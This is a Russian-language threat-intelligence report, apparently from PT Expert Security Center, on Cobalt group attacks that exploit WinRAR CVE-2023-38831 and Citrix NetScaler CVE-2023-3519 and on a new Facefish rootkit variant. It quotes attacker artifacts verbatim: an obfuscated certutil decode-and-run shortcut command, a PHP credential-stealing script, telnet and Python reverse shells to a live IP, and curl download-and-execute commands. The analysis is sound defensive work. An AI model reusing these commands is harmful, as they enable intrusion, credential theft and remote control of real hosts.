![](https://habrastorage.org/getpro/habr/upload_files/400/7a9/064/4007a9064c7e74022a8d22eb8eeca5d4.png)
Последние несколько лет специалисты нашего экспертного центра безопасности (PT Expert Security Center, PT ESC) регулярно фиксируют фишинговые рассылки вредоносных файлов, вложенных в архив, — их запуск приводит к загрузке модуля CobInt. Это ВПО — один из основных инструментов киберпреступной группы Cobalt (ее профайл можно посмотреть здесь). Ранее не фиксировалось использование этого модуля другими группировками. Вредоносные файлы применялись в атаках на российские компании из сфер энергетики, образования и телекоммуникаций — мы обнаружили это в ходе реагирования на инциденты ИБ в 2023 году. Предполагаем, что на территории России не менее 10 потенциальных жертв.
Мы следим за Cobalt с 2016 года. Ранее группа атаковала кредитно-финансовые организации с целью кражи денежных средств, а в последние несколько лет она сместила акцент на кибершпионаж. С 2020 года Cobalt не была замечена в громких кампаниях, но факты, описанные выше, подтверждают, что группа или некоторые из ее участников до сих пор активны, только используют они новые инструменты. Так, в арсенале группы появился руткит Facefish, который атакующие применяют для заражения хостов под управлением Linux. Для компрометации компаний Cobalt продолжает использовать актуальные уязвимости CVE-2023-38831 и CVE-2023-3519.
В статье мы кратко рассмотрим две цепочки атак с эксплуатацией этих уязвимостей, а также расскажем про новую модификацию Facefish.
Полный отчет с детальным разбором инцидентов, описанием техник и индикаторами компрометации читайте в нашем блоге.
Вектор № 1. Запрос от (Ex)Cobalt
В конце августа 2023 года мы заметили тренд на использование уязвимости CVE‑2023‑38831 в программном обеспечении WinRAR.
![Рисунок 1. Число вредоносных архивов в августе-сентябре 2023 года Рисунок 1. Число вредоносных архивов в августе-сентябре 2023 года](https://habrastorage.org/getpro/habr/upload_files/c53/6a8/c94/c536a8c94d5c473d2165005539e7da66.png)
Из общего потока наблюдаемых файлов нас заинтересовал архив ucx_2314_4_2_ot_28_08_2023.rar, содержащий файл-приманку формата PDF и вредоносный исполняемый файл.
![Рисунок 2. Содержимое архива Рисунок 2. Содержимое архива](https://habrastorage.org/getpro/habr/upload_files/6a7/5ff/941/6a75ff94134637d7631c835bc3600cfb.png)
В файле-приманке на русском языке описана продукция китайской корпорации авиационной промышленности, поэтому последующую цепочку действий можно назвать целенаправленной атакой.
![Рисунок 3. Содержимое файла-приманки Рисунок 3. Содержимое файла-приманки](https://habrastorage.org/getpro/habr/upload_files/ad9/03a/397/ad903a397c65e01093234d89953b7bfb.png)
У архива измененная файловая структура. Когда жертва открывает PDF‑файл, запускается исполняемый PE-файл Zapros_2314_4_2_ot_28_08_2023.pdf .cmd. Он представляет собой установщик на платформе Nullsoft Scriptable Install System (NSIS) и инициирует следующий этап атаки.
![Рисунок 4. Общая схема атаки Рисунок 4. Общая схема атаки](https://habrastorage.org/getpro/habr/upload_files/e57/618/ae6/e57618ae6f233368830860b1471efef8.png)
Также мы обнаружили архив Zapros_13-2-16442-upr_ot_25_08_2023.zip c файловым ярлыком, который извлекает из себя и запускает аналогичный исполняемый файл. Команда lnk-файла:
/v /c set g="%cd%\Zapros_13-2-16442-upr_ot_25_08_2023.lnk"&(if not exist "!g!" (for /f "tokens=*" %u in ('where /r "%localappdata%" Zapros_13-2-16442-upr_ot_25_08_2023.l?k') do set g=%u))&>nul set n=t&set f=e&set o=%temp%&certu!n!il -decode "!g!" !o!\fahsdiksfaem.!f!xe&start /b !o!\fahsdiksfaem
Интересно:в именах файлов-приманок используется одинаковая маска
Zapros*
NSIS-дроппер
NSIS-скрипт, выполняющий процесс установки, извлекает во временную папку следующие файлы:
файл-приманку (аналогичный PDF-файлу в архиве),
открытый PowerShell‑скрипт декодирования,
шифрованный PowerShell‑скрипт декодирования,
набор закодированных файлов (их предназначение описано далее)
и вызывает команды плагина — динамически подключаемой библиотеки nnujshaigu.dll (imphash:9ffedcca1b5171b3fb3e4430638971c1).
![Рисунок 5. NSIS-скрипт Рисунок 5. NSIS-скрипт](https://habrastorage.org/getpro/habr/upload_files/d12/d53/80d/d12d5380dc7653505a9329fd2562d166.png)
Сначала жертве демонстрируется ожидаемый PDF-файл (см. рис. 3). Затем исполняется PowerShell-скрипт yplseoefri.txt для декодирования кода из файла auspun.txt, который отвечает за получение ключа от управляющего сервера hxxps://wop[.]fsbkal[.]com/xseyyzpyy.txt и расшифровку второго скрипта декодирования алгоритмом AES в режиме CBC. Для образца, извлеченного из lnk-файла, ключ загружается с соседнего домена hxxps://zay[.]fsbkal[.]com/isicpjgki.txt.
![Рисунок 6. Декодированный PowerShell-скрипт из файла auspun.txt Рисунок 6. Декодированный PowerShell-скрипт из файла auspun.txt](https://habrastorage.org/getpro/habr/upload_files/a5d/78f/bec/a5d78fbec421f5b0a44371fe80c6520b.png)
На момент исследования файлы-ключи для загрузки с управляющих серверов не были доступны, и на этом «штатная» работа ВПО завершалась, так как следующие команды предполагают расшифровку файла gmzaofeioe.dat для декодирования им оставшихся файлов.
Зашифрованный файл имеет сопоставимый размер (26 КБ) с PowerShell‑скриптом декодирования на первом этапе, а оставшиеся файлы ampifkinn.txt, tygnfg.txt, yapaaiu.txt имеют схожий внешний вид отформатированного псевдослучайного текста. Поэтому мы предположили, что на обоих этапах используется одинаковый алгоритм, но разный словарь кодировки.
![Рисунок 7. Пример закодированных файлов Рисунок 7. Пример закодированных файлов](https://habrastorage.org/getpro/habr/upload_files/0ad/bac/a02/0adbaca026f56ef8c0d196d3cf1ef9e1.png)
Алгоритм декодирования рассмотрен в полной версии отчета, там же мы рассказали про следующие этапы цепочки и полезную нагрузку.
Вектор № 2. The Green Mile
Осенью 2023 года нашу команду PT ESC Incident Response привлекли к реагированию на инцидент ИБ в российской компании из сферы энергетики. Мы установили, что в организации был скомпрометирован шлюз удаленного доступа к сети Citrix NetScaler Gateway версии 13.1.
Первоначальный доступ
Предполагаем, что злоумышленники получили доступ с помощью известной уязвимости CVE-2023-3519, опубликованной в июле 2023 года.
На момент анализа шлюза веб-журналы были ротированы, и подтвердить эксплуатацию уязвимости через связанные с ней GET-запросы не удалось. Тем не менее в неразмеченном пространстве файловой системы мы обнаружили характерные запросы /gwtest/formssso?event=start&target=
, которые указывают на попытки эксплуатации уязвимости CVE-2023-3519.
![Рисунок 8. Следы эксплуатации уязвимости в Citrix NetScaler Gateway Рисунок 8. Следы эксплуатации уязвимости в Citrix NetScaler Gateway](https://habrastorage.org/getpro/habr/upload_files/691/f14/494/691f1449469cf283f1b1aed49553301f.png)
Мы нашли ряд веб-шеллов в директории /var/netscaler/logon/
. Записи появились в файловой системе 17.08.2023 и соответствовали логике шеллкода из опубликованного proof of concept от 01.08.2023.
При анализе сервера мы выявили простой веб-шелл с именем ctxHeaderLogon.php и ключом JohnCoffey2023!, позволяющий удаленно исполнять команды на шлюзе.
![Рисунок 9. Содержимое веб-шелла Рисунок 9. Содержимое веб-шелла](https://habrastorage.org/getpro/habr/upload_files/914/1c2/4ac/9141c24acd3f1817f6a6b67e5bb3596c.png)
Также был обнаружен скрипт netscaler.php, который перехватывает входящие POST-запросы, а после записывает полученные из URL-адреса учетные записи в файл netscaler.1. Таким образом, злоумышленникам удалось похитить десятки учетных записей.
<?php
$date = date("d/m/y : H:i :");
$username= $_POST['u'];
$password= $_POST['p'];
#$password2= $_POST['p2'];
if ($username !="undefined"){
$username = urldecode($username);
$password = urldecode($password);
file_put_contents("netscaler.1","Username:".$username.PHP_EOL ,FILE_APPEND);
file_put_contents("netscaler.1","Password:".$password.PHP_EOL ,FILE_APPEND);
file_put_contents('netscaler.1', "Date:".$date.$data.PHP_EOL, FILE_APPEND);
#file_put_contents("netscaler.1", "PIN:".$password2.PHP_EOL ,FILE_APPEND);
file_put_contents("netscaler.1","------------------".PHP_EOL ,FILE_APPEND);
}
?>
Пример скомпрометированной учетной записи из файла netscaler.1:
Username: [REDACTED]
Password:QWerty2024
Date:11/09/23 : 05:59 :
Для управления хостом атакующие за достаточно короткий промежуток времени пробовали использовать разные способы, в том числе telnet (reverse shell) и reverse_shell.py.
sh -c '(sleep 4325|telnet 51.15.18.85 4102|while : ;
do sh && break;
done 2>&1|telnet 51.15.18.85 4102 >/dev/null 2>&1 &)'
Запуск reverse_shell.py:
Sep 25 13:53:22 [REDACTED] sh_command="python3 rev4204.py "
Sep 25 13:53:43 [REDACTED] sh_command="netstat -an | grep 51.15.18.85 "
Содержимое файла reverse_shell.py:
exec(__import__('zlib').decompress(__import__('base64').b64decode (__import__('codecs').getencoder('utf-8')
'eNo9UE1LxDAQPTe/IrckmA3t0i7LYgURDyIiuN4WkTaZ1dI0CUlWq+J/tyGLlxnemzdvPobJWR9xsHKEyL/
10PO+C7CpeYj+JCOPwwToaD2e8WCw78wb0KpkO1RE/7XEIrS5WeRE1/
yM948396/756fb6weWdEJaY0BGSklTiaoR1VZsG8LrdVmzpOg9dCMqYJbgYrJOs0XQAI42DOk2ryROxnVypOTqjvAgPMgPuhgcyhek2jPWDH2+
DxqwBkMVu9SLnbr4r64yzRDMIGm6WiiQdnIeQqD5AaLf1IlUkJT8hwSyC78M/QGFbV7K')[0])))
import socket,zlib,base64,struct,time for x in range(10): try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('51.15.18.85',4204)) break
except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)
Также злоумышленники запускали утилиту для туннелирования трафика revsocks.
curl -O
https://github.com/kost/revsocks/releases/download/v2.2/revsocks_freebsd_amd64 mv revsocks_freebsd_amd64 nsnetsvcs /netscaler/nsnetsvcs -connect 51.15.18.85:8844 -pass 123
Про Facefish
Кроме установленных веб-шеллов и программ туннелирования трафика, атакующие предприняли попытку загрузки с управляющего сервера eu‑debian[.]com и запуска Facefish-дроппера с именем ssh3600. Об этом рутките ранее сообщали исследователи из компаний Juniper и Qihoo 360 Netlab.
Sep 25 13:47:15 [REDACTED] sh_command="curl -O http://eu-debian.com/ssh3600 ; chmod +x ssh3600 ; ./ssh3600 ; rm -f ssh3600 "
Sep 25 13:47:38 [REDACTED] sh_command="curl -O http://eu-debian.com/ssh3600 ; chmod +x ssh3600 "
Образец является разделяемой библиотекой (shared object), которая работает в пользовательском режиме и внедряется в процесс SSHD через метод LD_PRELOAD. Его основное назначение — кража учетных данных SSH, а также удаленное управление зараженным хостом.
![Рисунок 10. Адрес контрольного сервера Рисунок 10. Адрес контрольного сервера](https://habrastorage.org/getpro/habr/upload_files/7c2/3e1/b3f/7c23e1b3f5c6ec1683dd94e4bbc79fd6.png)
Мы неоднократно обнаруживали руткит Facefish в ходе расследований инцидентов ИБ. Помимо описанных ранее версий, нам удалось выявить новую модификацию:
1. В ней есть перехват функции __getdelim, который, подменяя легитимный системный вызов с аналогичным именем, при чтении конфигурационного файла /etc/ssh/sshd_config добавляет в итоговый результат дополнительный порт, на котором сервис SSH принимает входящие подключения.
2. Транспорт реализуется по протоколу HTTPS с использованием библиотеки BearSSL.
3. В новой модификации перехватываются следующие SSH-функции:
user_key_allowed2;
sshpam_auth_passwd;
auth_shadow_pwexpired;
getpwnamallow;
login_write (новая функция, которая была добавлена);
read_passphrase;
ssh_userauth2;
key_perm_ok;
load_identity_file;
key_load_private_type (новая функция, которая была добавлена).
На рисунке представлена временная схема обнаружения образцов ВПО Facefish, которые использовали в атаках на российские компании.
![Рисунок 11. Хронология обнаружения образцов ВПО Facefish Рисунок 11. Хронология обнаружения образцов ВПО Facefish](https://habrastorage.org/getpro/habr/upload_files/34c/721/65d/34c72165d467ec2ec478a5bbf3b88693.png)
Разбор цепочки атаки с ним читайте в полном исследовании.
В нашем блоге есть и другие интересные отчеты о деятельности APT-групп, новых техниках атак и модификациях ВПО, актуальных киберугрозах и способах защиты.
![](https://habrastorage.org/getpro/habr/upload_files/c42/f99/ace/c42f99ace346b2023a67fd278a26dbad.png)
Александр Григорян, Максим Похлебин
PT Expert Security Center